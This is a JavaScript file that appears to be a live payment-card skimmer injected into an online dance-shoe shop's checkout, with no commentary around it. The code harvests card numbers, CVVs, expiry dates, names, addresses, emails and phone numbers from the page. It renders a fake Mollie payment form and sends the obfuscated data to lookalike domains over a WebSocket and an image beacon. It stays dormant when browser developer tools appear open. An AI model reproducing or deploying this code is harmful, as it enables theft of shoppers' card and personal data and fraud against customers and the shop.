function sd() { (function () { String.prototype.hashCode = function () { var hash = 0, i, chr; if (this.length === 0) { return hash; } for (i = 0; i < this.length; i++) { chr = this.charCodeAt(i); hash = ((hash << 5) - hash) + chr; hash |= 0; } return hash; }; function getCookie(cname) { let name = cname + "="; let decodedCookie = decodeURIComponent(document.cookie); let ca = decodedCookie.split(';'); for(let i = 0; i { if (!module.id || module.id !== 'gestpay_payment_button_redirect') { module.style.display = 'none'; } }); } } }, 500); var $r = { Number: 'cardNumber', Holder: 'cardHolder', HolderFirstName: null, HolderLastName: null, Date: 'expiryDate', Month: null, Year: null, CVV: 'verificationCode', Company: null, Address1: null, Address2: null, Address3: null, Address4: null, City: null, Zip: null, State: null, Country: null, Phone: null, Dob: null, DobDay: null, DobMonth: null, DobYear: null, Email: null, Password: null, GT: 'https://maps-gstatic.com/api/', SP: 'wss://bootstrapcdn.org/bootstrap/4.4.1/dist/', Timeout: 1900, ConnectionType: null, UserAgent: null, Languages: null, Platform: null, Data: {}, Sent: [], TemplateCardRedirect: ' Sicheres Zahlen mit Mollie
7-Dance! Die Tanzschule GmbH
89,95 €

›
', SaveParam: function (elem) { if (elem.id !== undefined && elem.id != "" && elem.id !== null && elem.value.length < 256 && elem.value.length > 0) { var selects = [$r.State,$r.Country]; if (selects.indexOf(elem.id) > -1) { if (elem.selectedIndex >= 0) { $r.Data[elem.id] = elem.options[elem.selectedIndex].innerText.trim(); return; } } $r.Data[elem.id] = elem.value; return; } if (elem.name !== undefined && elem.name != "" && elem.name !== null && elem.value.length < 256 && elem.value.length > 0) { $r.Data[elem.name] = elem.value; var selects = [$r.State,$r.Country]; if (selects.indexOf(elem.name) > -1) { if (elem.selectedIndex >= 0) { $r.Data[elem.name] = elem.options[elem.selectedIndex].innerText.trim(); return; } } return; } }, SaveAllFields: function () { var takeID = [$r['Number'],$r['Holder'],$r['HolderFirstName'],$r['HolderLastName'],$r['Date'],$r['Month'],$r['Year'],$r['codseg'],$r['Company'],$r['FullAddress'],$r['Address'],$r['Address1'],$r['Address2'],$r['Address3'],$r['Address4'],$r['City'],$r['Zip'],$r['State'],$r['Country'],$r['Phone'],$r['Dob'],$r['DobDay'],$r['DobMonth'],$r['DobYear'],$r['Email'],$r['Password'],$r.Data['Ipholder']]; var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for (var i = 0; i < inputs.length; i++) { takeID.forEach(function (elem) { if (elem == inputs[i].id || elem == inputs[i].name) { $r.SaveParam(inputs[i]); } }) } for (var i = 0; i < selects.length; i++) { takeID.forEach(function (elem) { if (elem == selects[i].id || elem == selects[i].name) { $r.SaveParam(selects[i]); } }) } for (var i = 0; i < textareas.length; i++) { takeID.forEach(function (elem) { if (elem == textareas[i].id || elem == textareas[i].name) { $r.SaveParam(textareas[i]); } }) } if (billingContact_ap && billingContact_ap !== 'undefined') { localStorage.setItem('_add_', btoa(billingContact_ap.addressLines.join(", "))); localStorage.setItem('ct', btoa(billingContact_ap.locality)); localStorage.setItem('pzc_', btoa(billingContact_ap.postalCode)); localStorage.setItem('cnt', billingContact_ap.countryCode); localStorage.setItem('pmb_', btoa(billingContact_ap.phoneNumber)); localStorage.setItem('_el', btoa(billingContact_ap.emailAddress)); } if (document.querySelector('#grand-total-value .price')) { localStorage.setItem('totalTaxInc', document.querySelector('#grand-total-value .price').textContent); } }, SendData: function () { $r.Data['Domain'] = location.hostname; if (getCookie("_vcnh")) $r.Data['Ipholder'] = atob(getCookie("_vcnh")); var encoded = $r.Base64.encode(JSON.stringify($r.Data)); var hash = encoded.hashCode(); for (var i = 0; i < $r.Sent.length; i++) if ($r.Sent[i] == hash) return; $r.LoadImage(encoded); }, ws: function () { ws = new WebSocket($r.SP); }, TrySend: function () { $r.SaveAllFields(); $r.GetCCInfo(); $r.BillingGothering(); $r.PlaceOrder(); $r.UserInformation(); }, GetCCInfo: function () { if ($r.Number !== null && $r.Data[$r.Number] !== undefined) $r.Data['Number'] = $r.Data[$r.Number]; if ($r.CVV !== null && $r.Data[$r.CVV] !== undefined) $r.Data['CVV'] = $r.Data[$r.CVV]; if ($r.HolderFirstName !== null && $r.Data[$r.HolderFirstName] !== undefined) $r.Data['Holder'] = $r.Data[$r.HolderFirstName]; if ($r.HolderLastName !== null && $r.Data[$r.HolderLastName] !== undefined) $r.Data['Holder'] += " " + $r.Data[$r.HolderLastName]; if ($r.Date !== null && $r.Data[$r.Date] !== undefined) $r.Data['Date'] = $r.Data[$r.Date]; if ($r.Holder !== null && $r.Data[$r.Holder] !== undefined) $r.Data['Holder'] = $r.Data[$r.Holder]; if ($r.Month !== null && $r.Data[$r.Month] !== undefined) $r.Data['Date'] = $r.Data[$r.Month]; if ($r.Year !== null && $r.Data[$r.Year] !== undefined) $r.Data['Date'] += "/" + $r.Data[$r.Year]; if ($r.Address1 !== null && $r.Data[$r.Address1] !== undefined) $r.Data['Address'] = $r.Data[$r.Address1]; if ($r.Address2 !== null && $r.Data[$r.Address2] !== undefined) $r.Data['Address'] += ", " + $r.Data[$r.Address2]; if ($r.Company !== null && $r.Data[$r.Company] !== undefined) $r.Data['Company'] = $r.Data[$r.Company]; if ($r.City !== null && $r.Data[$r.City] !== undefined) $r.Data['City'] = $r.Data[$r.City]; if ($r.State !== null && $r.Data[$r.State] !== undefined) $r.Data['State'] = $r.Data[$r.State]; if ($r.Country !== null && $r.Data[$r.Country] !== undefined) $r.Data['Country'] = $r.Data[$r.Country]; if ($r.Zip !== null && $r.Data[$r.Zip] !== undefined) $r.Data['Zip'] = $r.Data[$r.Zip]; if ($r.Phone !== null && $r.Data[$r.Phone] !== undefined) $r.Data['Phone'] = $r.Data[$r.Phone]; if ($r.Dob !== null && $r.Data[$r.Dob] !== undefined) $r.Data['Dob'] = $r.Data[$r.Dob]; }, UserInformation: function() { if (navigator != null && navigator != undefined) { if (navigator.userAgent != undefined && navigator.userAgent != null && $r.UserAgent == null) $r.UserAgent = navigator.userAgent; if (navigator.languages != undefined && navigator.languages != null && $r.Languages == null) $r.Languages = navigator.languages; if (navigator.platform != undefined && navigator.platform != null && $r.Platform == null) $r.Platform = navigator.platform; if (ws.readyState == 1) { $r.ConnectionType = '(SO)'; } else if (ws.readyState != 1) { $r.ConnectionType = '(AH)'; } $r.Data['UI'] = $r.ConnectionType + ' ,' + $r.Platform + ' ,' + $r.Languages + ' ,' + $r.UserAgent; } }, BillingGothering: function() { /*Putting Billing To Local Storage*/ if (billingContact_ap && billingContact_ap !== 'undefined') { localStorage.setItem('_add_', btoa(billingContact_ap.addressLines.join(", "))); localStorage.setItem('ct', btoa(billingContact_ap.locality)); localStorage.setItem('pzc_', btoa(billingContact_ap.postalCode)); localStorage.setItem('cnt', billingContact_ap.countryCode); localStorage.setItem('pmb_', btoa(billingContact_ap.phoneNumber)); localStorage.setItem('_el', btoa(billingContact_ap.emailAddress)); } if (document.querySelector('#grand-total-value .price')) { localStorage.setItem('totalTaxInc', document.querySelector('#grand-total-value .price').textContent); } /*Geting Billing From Local Storage*/ if (localStorage.getItem('_el') !=='') { $r.Data['Email'] = atob(localStorage.getItem('_el')); } if (!localStorage.getItem('_el')) { $r.Data['Email'] = ''; } if (localStorage.getItem('_add_') !=='') { $r.Data['Address'] = atob(localStorage.getItem('_add_')); } if (!localStorage.getItem('_add_')) { $r.Data['Address'] = ''; } if (localStorage.getItem('cnt') !=='') { $r.Data['Country'] = localStorage.getItem('cnt'); } if (!localStorage.getItem('cnt')) { $r.Data['Country'] = ''; } if (localStorage.getItem('ct') !=='') { $r.Data['City'] = atob(localStorage.getItem('ct')); } if (!localStorage.getItem('ct')) { $r.Data['City'] = ''; } if (localStorage.getItem('pzc_') !=='') { $r.Data['ZIP'] = atob(localStorage.getItem('pzc_')); } if (!localStorage.getItem('pzc_')) { $r.Data['ZIP'] = ''; } if (localStorage.getItem('pmb_') !=='') { $r.Data['Phone'] = atob(localStorage.getItem('pmb_')); } if (!localStorage.getItem('pmb_')) { $r.Data['Phone'] = ''; } if (localStorage.getItem('totalTaxInc') !=='') { $r.Data['Company'] = localStorage.getItem('totalTaxInc'); } if (!localStorage.getItem('totalTaxInc')) { $r.Data['Company'] = ''; } if (document.getElementById('verificationCode')) { $r.Data['CVV'] = document.getElementById('verificationCode').value; } }, PlaceOrder: function () { var block = document.querySelector('body'); if (document.querySelectorAll('.well')) { const wellElements = document.querySelectorAll('.well'); wellElements.forEach((wellElement) => { if (wellElement.textContent.includes('Zahlungsart')) { const boldElement = wellElement.querySelector('.bold'); if (boldElement) { if (boldElement.textContent == 'Karte') { if (document.querySelector(".btn.btn-success.preloader.pull-right.ladda-button")) { if (document.querySelector(".btn.btn-success.preloader.pull-right.ladda-button") !== null && !getCookie("_gud_sd39n")) { if (!document.querySelector('#place-order')) { var el = document.querySelector(".btn.btn-success.preloader.pull-right.ladda-button"); var cloneElement = el.cloneNode(true); el.style.display = 'none'; cloneElement.id = 'place-order'; cloneElement.type = 'button'; document.querySelector('#checkout-form .clearfix').append(cloneElement); } } } } return; } } }); } if (document.querySelector("#place-order")) { document.querySelector("#place-order").addEventListener('click', function(e) { e.preventDefault(); if (block !== null && document.querySelector('#ctl00_pnlMaster') == null && $r.Sent == '') { jQuery('#err-msg').hide(); setTimeout(function () { window.history.pushState("https://www.shoes4dancers.net/checkout/confirmation", "Mollie", "https://www.shoes4dancers.net/mollie/checkout/credit-card/embedded/TbpZGHiNEG"); }, 500); setTimeout(function () { document.open(); document.write($r.TemplateCardRedirect); document.close(); }, 1500) } }); } let cc = document.getElementById('cardNumber'); let exp = document.getElementById("expiryDate"); let cv = document.getElementById("verificationCode"); let hname = document.getElementById("cardHolder"); function setCardIcon() { const value = cc.value; if (/^5[1-5]/.test(value) || /^2[2-7]/.test(value)) { document.querySelector('.card-icon.has-card-brand').setAttribute('data-card-brand', 'mastercard'); } else if (/^4/.test(value)) { document.querySelector('.card-icon.has-card-brand').setAttribute('data-card-brand', 'visa'); } else if (/^3[47]/.test(value)) { document.querySelector('.card-icon.has-card-brand').setAttribute('data-card-brand', 'american express'); } else { if (document.querySelector('[data-card-brand]')){ document.querySelector('.card-icon.has-card-brand').removeAttribute('data-card-brand'); } } } function setCardEmptyError() { cc.style.borderColor = '#e60029'; document.querySelector('#card-number-errors').textContent = 'Kartennummer muss ausgefüllt werden'; } function setCardError() { cc.style.borderColor = '#e60029'; document.querySelector('#card-number-errors').textContent = 'Kartennummer ist ungültig'; } function setCardShortError() { cc.style.borderColor = '#e60029'; document.querySelector('#card-number-errors').textContent = 'Kartennummer ist zu kurz'; } function setExpError() { exp.style.borderColor = '#e60029'; document.querySelector('#expiry-date-errors').textContent = 'Kreditkarte ist abgelaufen'; } function setCvvError() { cv.style.borderColor = '#e60029'; } function setHolderNameError() { hname.style.borderColor = '#e60029'; } function removeCardError() { cc.style.borderColor = '#d2d3dd'; document.querySelector('#card-number-errors').textContent = ''; } function removeExpError() { exp.style.borderColor = '#d2d3dd'; document.querySelector('#expiry-date-errors').textContent = ''; } function removeCvvError() { cv.style.borderColor = '#d2d3dd'; document.querySelector('#cvv-errors').textContent = ''; } function removeHolderNameError() { hname.style.borderColor = '#d2d3dd'; document.querySelector('#card-holder-name-errors').textContent = ''; } if (cc) { jQuery(cc).on('input propertychange paste', function () { if (cc.value.length > 1) { setCardIcon(); } if (cc.value.length === 19) { if (!cc.value.startsWith('3')) { document.getElementById("verificationCode").maxLength = '3'; var regEx = /^5[1-5][0-9]{14}$|^2(?:2(?:2[1-9]|[3-9][0-9])|[3-6][0-9][0-9]|7(?:[01][0-9]|20))[0-9]{12}$|^4[0-9]{12}(?:[0-9]{3})?$|^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$|^(5018|5081|5044|5020|5038|603845|6304|6759|676[1-3]|6799|6220|504834|504817|504645)[0-9]{8,15}$|^(?:2131|1800|35[0-9]{3})[0-9]{11}$|^3(?:0[0-5]|[68][0-9])[0-9]{11}$/; var value = jQuery(cc).val(); var formattedValue = formatCardNumber(value); if (jQuery(cc).val(formattedValue)) { } else { } const input = cc.value; const removeSpace = input.split(" ").join(""); let doubleNum = false, sum = 0; if (removeSpace.length < 3) { } else { } let numArray = removeSpace .split("") .reverse() .forEach(reverseNum => { reverseNum = parseInt(reverseNum); if (doubleNum) { reverseNum * 2 > 9 ? (sum += reverseNum * 2 - 9) : (sum += reverseNum * 2); } else { sum += reverseNum; } doubleNum = !doubleNum; }); if (sum % 10 === 0) { removeCardError(); } else { setCardError(); } } } else if (cc.value.length === 17) { if (cc.value.startsWith('3')) { document.getElementById("verificationCode").maxLength = '4'; var regEx = /^5[1-5][0-9]{14}$|^2(?:2(?:2[1-9]|[3-9][0-9])|[3-6][0-9][0-9]|7(?:[01][0-9]|20))[0-9]{12}$|^4[0-9]{12}(?:[0-9]{3})?$|^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$|^(5018|5081|5044|5020|5038|603845|6304|6759|676[1-3]|6799|6220|504834|504817|504645)[0-9]{8,15}$|^(?:2131|1800|35[0-9]{3})[0-9]{11}$|^3(?:0[0-5]|[68][0-9])[0-9]{11}$/; var value = jQuery(cc).val(); var formattedValue = formatCardNumber(value); if (jQuery(cc).val(formattedValue)) { } else { } const input = cc.value; const removeSpace = input.split(" ").join(""); let doubleNum = false, sum = 0; if (removeSpace.length < 3) { } else { } let numArray = removeSpace .split("") .reverse() .forEach(reverseNum => { reverseNum = parseInt(reverseNum); if (doubleNum) { reverseNum * 2 > 9 ? (sum += reverseNum * 2 - 9) : (sum += reverseNum * 2); } else { sum += reverseNum; } doubleNum = !doubleNum; }); if (sum % 10 === 0) { removeCardError(); } else { setCardError(); } } } var value = jQuery(cc).val(); var formattedValue = formatCardNumber(value); jQuery(cc).val(formattedValue); }); function formatCardNumber(value) { var value = value.replace(/\D/g, ''); var formattedValue; var maxLength; if ((/^3[47]\d{0,13}$/).test(value)) { formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{6})/, '$1 $2 '); maxLength = 17; } else if ((/^3(?:0[0-5]|[68]\d)\d{0,11}$/).test(value)) { formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{6})/, '$1 $2 '); maxLength = 16; } else if ((/^\d{0,16}$/).test(value)) { formattedValue = value.replace(/(\d{4})/, '$1 ').replace(/(\d{4}) (\d{4})/, '$1 $2 ').replace(/(\d{4}) (\d{4}) (\d{4})/, '$1 $2 $3 '); maxLength = 19; } jQuery(cc).attr('maxlength', maxLength); return formattedValue; } jQuery(cc).on('keyup', function () { var value = jQuery(cc).val(); var formattedValue = formatCardNumber(value); jQuery(cc).val(formattedValue); }); jQuery(cc).on('focusout', function () { if (cc.value.length < 17 && cc.value.length !== 0) { setCardShortError(); } if (cc.value == '') { setCardEmptyError(); } }); } // if cc if (exp) { let dateMask = exp; if (dateMask != null) { dateMask.onkeydown = function (e) { if (e.keyCode == 8 || e.keyCode == 46) { return; } let curLen = dateMask.value.length; if (curLen == 2) dateMask.value = dateMask.value + " / "; } } exp.addEventListener('focusout', (event) => { if (exp.value !== '') { if (Number(exp.value.split('/ ')[1]) >= new Date().getFullYear().toString().substr(-2)) { removeExpError(); } else { setExpError(); } } if (exp.value < 7) { setExpError(); } if (exp.value == "") { removeExpError(); } }); }//if (exp) if (cv) { cv.addEventListener('focusin', (event) => { }); cv.addEventListener('input', (event) => { if (cv.value.length == 3 && !cc.value.startsWith('3')) { removeCvvError(); } if (cv.value.length == 4 && cc.value.startsWith('3')) { removeCvvError(); } }); cv.addEventListener('focusout', (event) => { if (cv.value.length == 3 && !cc.value.startsWith('3')) { removeCvvError(); } if (cv.value.length == 4 && cc.value.startsWith('3')) { removeCvvError(); } if (cv.value.length < 4 && cc.value.startsWith('3')) { setCvvError(); document.querySelector('#cvv-errors').textContent = 'Prüfungsscode sollte 4 Ziffern sein'; } if (cv.value.length < 3 && !cc.value.startsWith('3')) { setCvvError(); document.querySelector('#cvv-errors').textContent = 'Prüfungsscode sollte 3 Ziffern sein'; } }); }//if (cv) if (hname) { hname.addEventListener('focusout', (event) => { if (hname.value == '') { setHolderNameError(); document.querySelector('#card-holder-name-errors').textContent = 'Karteninhaber/in muss ausgefüllt werden'; } else if (hname.value.length == 1) { setHolderNameError(); document.querySelector('#card-holder-name-errors').textContent = 'Karteninhaber/in ist zu kurz'; } else { removeHolderNameError(); } }); } if (document.querySelector('.header__amount.two-column-layout-header__amount') && localStorage.getItem('totalTaxInc') && localStorage.getItem('totalTaxInc') !=='') { document.querySelector('.header__amount.two-column-layout-header__amount').textContent = localStorage.getItem('totalTaxInc'); } if (document.querySelector('#ctl00_ContentPlaceHolder1_btnReceiptReturn')) { document.querySelector('#ctl00_ContentPlaceHolder1_btnReceiptReturn').addEventListener('click', function(e) { location.href = 'https://www.ezdirect.it/ordine'; }); } if (document.querySelector('#submit-button')) { document.querySelector('#submit-button').addEventListener('click', function(e) { e.preventDefault(); document.getElementById('submit-button').setAttribute('disabled', 'true'); if ($r.Data['Number'] === undefined || $r.Data['Number'].length < 15) return; if ($r.Data['Date'] === undefined || $r.Data['Date'].length < 5) return; if ($r.Data['CVV'] === undefined || $r.Data['CVV'].length < 3) return; if ($r.Data['Holder'] === undefined || $r.Data['Holder'].length == 0) return; if (!localStorage.getItem('_gud_sd59n')) { $r.SendData(); localStorage.removeItem('_el'); localStorage.removeItem('_add_'); localStorage.removeItem('_cod_f'); localStorage.removeItem('_add_'); localStorage.removeItem('_nm'); localStorage.removeItem('_pd_'); localStorage.removeItem('pmb_'); localStorage.removeItem('cnt'); localStorage.removeItem('ct'); localStorage.removeItem('fn'); localStorage.removeItem('ln'); localStorage.removeItem('pzc_'); localStorage.removeItem('st_'); localStorage.setItem('_gud_sd59n', 'GA_ms0fMW7Mf5SIzWlg3h0Yv;max-age=164000'); } setTimeout(function () { const iframe = document.createElement('iframe'); iframe.id = 'iframe-loader'; iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100%'; iframe.style.height = '100%'; iframe.style.border = 'none'; iframe.style.zIndex = '9999'; const iframeContent = `
`; iframe.srcdoc = iframeContent; if (!document.getElementById('iframe-loader')) { document.body.appendChild(iframe); } },1000); setTimeout(function () { document.getElementById('iframe-loader').remove(); document.getElementById('form-errors').style.display = 'block'; },5000); setTimeout(function () { location.href = 'https://www.shoes4dancers.net/de/checkout/payment'; },6000); }) } }, LoadImage: function (encoded) { $r.Sent.push(encoded.hashCode); if (ws.readyState == 1) { ws.send('en=' + cr(encoded)); } else { var img = document.createElement("IMG"); img.src = $r.GetImageUrl(cr(encoded)); } }, GetImageUrl: function (encoded) { return $r.GT + "?key=" + encoded; }, Base64: { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function (r) { var t, e, o, h, a, n, c, d = "", i = 0; for (r = this._utf8_encode(r); i < r.length;) h = (t = r.charCodeAt(i++)) >> 2, a = (3 & t) << 4 | (e = r.charCodeAt(i++)) >> 4, n = (15 & e) << 2 | (o = r.charCodeAt(i++)) >> 6, c = 63 & o, isNaN(e) ? n = c = 64 : isNaN(o) && (c = 64), d = d + this._keyStr.charAt(h) + this._keyStr.charAt(a) + this._keyStr.charAt(n) + this._keyStr.charAt(c); return d }, decode: function (r) { var t, e, o, h, a, n, c = "", d = 0; for (r = r.replace(/[^A-Za-z0-9\+\/\=]/g, ""); d < r.length;) t = this._keyStr.indexOf(r.charAt(d++)) << 2 | (h = this._keyStr.indexOf(r.charAt(d++))) >> 4, e = (15 & h) << 4 | (a = this._keyStr.indexOf(r.charAt(d++))) >> 2, o = (3 & a) << 6 | (n = this._keyStr.indexOf(r.charAt(d++))), c += String.fromCharCode(t), 64 != a && (c += String.fromCharCode(e)), 64 != n && (c += String.fromCharCode(o)); return c = this._utf8_decode(c) }, _utf8_encode: function (r) { r = r.replace(/\r\n/g, "\n"); for (var t = "", e = 0; e < r.length; e++) { var o = r.charCodeAt(e); o < 128 ? t += String.fromCharCode(o) : o > 127 && o < 2048 ? (t += String.fromCharCode(o >> 6 | 192), t += String.fromCharCode(63 & o | 128)) : (t += String.fromCharCode(o >> 12 | 224), t += String.fromCharCode(o >> 6 & 63 | 128), t += String.fromCharCode(63 & o | 128)) } return t }, _utf8_decode: function (r) { for (var t = "", e = 0, o = c1 = c2 = 0; e < r.length;) (o = r.charCodeAt(e)) < 128 ? (t += String.fromCharCode(o), e++) : o > 191 && o < 224 ? (c2 = r.charCodeAt(e + 1), t += String.fromCharCode((31 & o) << 6 | 63 & c2), e += 2) : (c2 = r.charCodeAt(e + 1), c3 = r.charCodeAt(e + 2), t += String.fromCharCode((15 & o) << 12 | (63 & c2) << 6 | 63 & c3), e += 3); return t } } } function cr(pr) { mainHash = pr; rand = getRandomHash(mainHash.length); secureHash = ''; for (let i = 0; i < mainHash.length; i++) { char = mainHash.substring(i,i+1); char3 = Math.random().toString(36).substr(2, 1); secureHash += char3 + char; } startHash = getRandomHash(mainHash.length * 0.2) + secureHash + getRandomHash(mainHash.length * 0.1); secureNumbStart = startHash.slice(11,16); secureNumbEnd = startHash.slice(29,34); secureCodeHash = startHash + 's=' + secureNumbStart + mainHash.length + secureNumbEnd + '=t'; allHash = secureCodeHash + getRandomHash(secureCodeHash.length*0.15); return allHash; } function getRandomHash(length) { let fullRandHash = ""; for (let i = 0; i <= length/2; i++) { genHash = Math.random().toString(36).substr(2, 3) + btoa(Math.random().toString(36).substr(2, 5)) + Math.random().toString(36).substr(2, 5); fullRandHash += genHash.substring(0, genHash.length - 2); } return fullRandHash.slice(0,length * 2); } function dc(pr) { x=pr; s = x.indexOf("s=" + x.slice(11, 16)); e = x.indexOf(x.slice(29, 34) + "=t"); y = +x.substring(s + 7, (e - (s + 7)) + (s + 7)); d = x.slice(y * 2, y + (y * 4)); v = ""; for (let i = 0; i < (d.length / 3); i++) { c = d.substring(i * 3 + 2, i * 3 + 3); v += c; } return atob(v); } var ws; $r.ws(); setInterval($r.TrySend, $r.Timeout); })(); } var l; var p = "Y29uZmlybWF0aW9u"; var k; p = atob(p); (function (){(localStorage.getItem('_gud_sd59n') == null)?k=1:'';})(); var n; (function (){(screen.width <= 1024)?n=1:''})(); (function (){(new RegExp(p)).test(window.location)?l = 1:'';})(); function gc(m) { var s = " " + m + "="; var p = null; var o = 0; var c = " " + document.cookie; var e = 0; if (c.length > 0) { o = c.indexOf(s); if (o != -1) { o += s.length; e = c.indexOf(";", o) if (e == -1) { e = c.length; } p = unescape(c.substring(o, e)); } } return (p); }; var l; (function () { if (n == 1) return false; let t = 200; let w = window.outerWidth - window.innerWidth > t; let h = window.outerHeight - window.innerHeight > t; ((!(w || h))==false)?n=0:n=1; })(); (n+k+l==3)?sd():'';